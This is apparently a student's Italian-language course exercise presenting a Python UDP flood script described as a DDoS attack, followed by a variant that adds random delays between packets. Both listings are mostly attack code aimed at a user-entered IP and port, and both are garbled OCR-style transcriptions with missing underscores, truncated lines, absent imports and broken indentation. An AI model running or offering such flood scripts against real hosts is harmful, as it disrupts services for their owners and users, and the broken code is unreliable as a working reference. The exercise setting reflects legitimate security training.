## W7D4 - Attacco DDoS

## Esercizio obbligatorio

Questo è lo screenshot dello script che ho preparato per un attacco DDoS.

```
🕏 ddosprova.py > .
      import argparse
      def udp_flood(target_ip, target_port, packet_size, packet_count):
           client = socket.socket(socket.AF INET, socket.SOCK DGRAM)
           packet = random._urandom(packet_size)
           print(f"Inviando {packet count} pacchetti da {packet size} byte a {target ip}:{t
           for in range(packet count):
               client.sendto(packet, (target ip, target port))
           print("Inviato")
      if __name__ == "__main__":
           parser = argparse.ArgumentParser(description="UDP Flood Script")
           target ip = input("Inserisci l'IP target")
           target port = input("Inserisci la porta target: ")
           packet_count = input("Inserisci il numero di pacchetti da inviare: ")
          parser.add_argument("target_ip", help="Indirizzo IP del target")
parser.add_argument("target_port", type=int, help="Porta del target")
parser.add_argument("packet_count", type=int, help="Numero di pacchetti da invia
           args = parser.parse_args()
           udp_flood(args.target_ip, args.target_port, 1024, args.packet_count)
28
```

## Esercizio facoltativo.

Di seguito lo stesso codice, modificato per inserire il ritardo casuale nell'invio dei pacchetti UDP.

```
ddosfacoltativo.py > ..
      import argparse
      def udp_flood(target_ip, target_port, packet_size, packet_count):
          client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
          packet = random. urandom(packet size)
          print(f"Inviando {packet count} pacchetti da {packet size} byte a {target ip}:{t
          for _ in range(packet count):
               client.sendto(packet, (target_ip, target_port))
               delay = random.uniform(0, 0.1)
               time.sleep(delay)
          print("Inviato")
      if name == " main ":
          parser = argparse.ArgumentParser(description="UDP Flood Script")
           target_ip = input("Inserisci l'IP target")
          target port = input("Inserisci la porta target: ")
          packet_count = input("Inserisci il numero di pacchetti da inviare: ")
          parser.add_argument("target_ip", help="Indirizzo IP del target")
          parser.add_argument("target_port", type=int, help="Porta del target")
parser.add_argument("packet_count", type=int, help="Numero di pacchetti da invia
          args = parser.parse args()
          udp flood(args.target ip, args.target port, 1024, args.packet count)
                                                           Ln 32, Col 1 Spaces: 4 UTF-8 LF () Python 3.12.2 64-bit Q
```